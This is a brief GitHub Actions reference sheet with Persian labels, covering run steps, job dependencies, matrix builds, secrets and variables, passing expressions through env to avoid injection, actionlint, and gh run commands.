run: دستوراجرای دستور shell
needs: [test]ترتیب job ها
strategy.matrix.python: ["3.11", "3.12"]تکثیر job
${{ secrets.NAME }} / ${{ vars.NAME }}secret / متغیر
env: TITLE: ${{ ... }} ← "$TITLE"جلوگیری از injection
actionlintبررسی فایل‌های workflow قبل از push
gh run list / view --log-failed / rerun --failedمدیریت اجراها (نمونه)